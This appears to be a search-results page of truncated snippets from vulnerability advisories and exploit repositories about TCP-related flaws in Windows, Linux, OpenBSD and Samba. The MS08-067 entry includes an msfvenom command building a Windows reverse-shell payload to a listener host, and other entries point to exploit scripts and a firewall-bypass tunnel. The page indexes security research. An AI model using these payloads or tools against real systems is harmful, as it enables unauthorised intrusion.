23382 matches found
CVE-2026-33827
🔴 CVE-2026-33827: Ejecución Remota de Código RCE en TCP/IP de Windows 📌 概述 CVE-2026-33827 是一个影响 Windows TCP/IP 网络栈的严重远程代码执行（RCE）漏洞。它被归类为 竞态条件（Race Condition）缺陷，原因是网络处理过程中共享资源同步不当。 未经身份验证 的攻击者可以通过向启用了 IPSec 的 Windows 节点发送特制的 IPv6 数据包来利用此漏洞，从而在无需用户交互 的情况下以系统权限 执行任意代码。 ⚠️ 严重影响 ：无需凭据即可完全控制系统 📊...
kernel: Revert "net/smc: Introduce TCP ULP support"
A flaw was found in the Linux kernel's TCP User-Level Protocol ULP support for SMC. This vulnerability arises when an active TCP socket is converted into an SMC socket, as the implementation attempts to modify core Virtual File System VFS structures in-place. This action violates fundamental VFS...
kernel: tcp: call sk_data_ready() after listener migration
A flaw was found in the Linux kernel's TCP networking subsystem. When an established network connection is migrated between listener sockets within the same SOREUSEPORT group, applications waiting for new connections may not be properly notified. This can cause poll, epollwait, and blocking accep...
CVE-2018-6537.RCE
CVE-2018-6537 该漏洞利用针对运行在 Windows 10 x86, build: 16299 上的 Sync Breeze ，影响 版本 10.4.18 ，未认证的攻击者可以通过 TCP 连接执行 SEH 溢出 ，导致 远程代码执行 。该利用假设所有安全缓解措施均已禁用（例如 ASLR、DEP）。 过程 1. 覆盖指向Handler 的地址 新地址 1015a2f0 用于覆盖引用 excepthandler 函数的旧地址。该新地址指向以下汇编指令： root@kitploit: pop eax ; esp += 0x04 pop ebx ; esp += 0x04 ret ...
openbsd_ov1
OpenBSD TCP/IP overflow Tested with latest OpenBSD 7.2 Details: root@kitploit: int ipdooptionsstruct mbuf m, struct ifnet ifp ... for ; cnt 0; cnt -= optlen, cp += optlen opt = cpIPOPTOPTVAL; if opt == IPOPTEOL break; if opt == IPOPTNOP optlen = 1; else if cnt cnt code = &cpIPOPTOLEN - uchar ip;...
CVE-2025-27480-The-Silent-Gateway-Risk
CVE-2025-27480-The-Silent-Gateway-Risk Letting attackers run malicious code without needing a cracked password, user interaction, or even a foothold in your network. That’s CVE-2025-27480 It’s late you are running on red-bull we have all been there. You’re troubleshooting a production issue and...
kernel: netfilter: synproxy: refresh tcphdr after skb_ensure_writable
A flaw was found in the Linux kernel's netfilter synproxy module. When handling TCP timestamp options, a stale pointer can be used after memory reallocation. This can result in memory corruption, where data is written to a freed memory area, or lead to packets being sent with an incorrect checksu...
File-Tunnel
File Tunnel Tunnel TCP connections through a file server. A full list of supported file systems can be found here. Download Portable executables for Windows, Linux and Mac can be found over in the releases section. Example 1 - Bypassing a firewall You'd like to connect from Host A to Host B, but ...
Fragnesia-go
fragnesia-go One SA. One byte at a time. No race. Go port of fragnesia CVE-2026-46300. Member of the Dirty Frag vulnerability class - separate bug, same surface, own patch. How it works tl;dr The bug is in the Linux XFRM ESP-in-TCP subsystem. When TCPULP espintcp is installed on a socket after da...
undici: undici: Denial of Service via WebSocketStream unclean close
A flaw was found in undici's experimental WebSocketStream client. A remote attacker, operating as an untrusted server, can trigger a Denial of Service DoS by closing the TCP connection without a proper WebSocket close handshake. This action causes an unhandled error in the client, leading to the...
MS08-067
MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...
Samba-Usermap-exploit
CVE-2007-2447 - Samba usermap exploit. Usage: root@kitploit: $ python3 exploit.py RHOST -- The target address RPORT -- The target port TCP : 139 LHOST -- The listen address LPORT -- The listen port Installation root@kitploit: git clone https://github.com/Nosferatuvjr/Samba-Usermap-exploit pip...
CVE-2023-38632
CVE-2023-38632 async-sockets-cpp through 0.3.1 contains a remote buffer overflow vulnerability in static void ReceiveTCPSocket socket at tcpsocket.hpp, lines 102-110. The buffer overflow affects all corresponding TCP servers. The remote buffer overflow can be triggered by connecting to a socket a...
mountain_goat
Hi, I'm a mountain goat and I'm going to ram your TCP connections, because that's a pretty goat thing to do. This is a PoC demonstrating techniques exploiting CVE-2016-5696 Off-Path TCP Exploits: Global Rate Limit Considered Dangerous by Yue Cao, Zhiyun Qian, Zhongjie Wang, Tuan Dao, Srikanth V...
Treck20-Related
Treck20-Related PoC para CVE-2020-11896: pila TCP/IP Treck e investigación de activos de dispositivos Inspección de la pila de protocolos Como muchos fabricantes adoptan la pila de protocolos Treck, algunos fabricantes se refieren a la pila de protocolos Treck mediante núcleos IP de hardware. No...
The vulnerability of the `tcp_ao_delete_key()` function in the `net/ipv4/tcp_ao.c` module, which is part of the IPv4 protocol implementation in Linux kernel, allows a attacker to compromise the confidentiality, integrity, and accessibility of the protected information.
The vulnerability of the tcpaodeletekey function in the net/ipv4/tcpao.c module, part of the IPv4 protocol implementation in Linux kernel, relates to the dereferencing of a pointer with an expired validity period. Exploiting this vulnerability could allow an attacker to compromise the...
CVE-2026-69793
Improper validation of consistency within input in Windows TCP/IP allows an unauthorized attacker to bypass a security feature over a network...
CVE-2026-69761
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges over a network...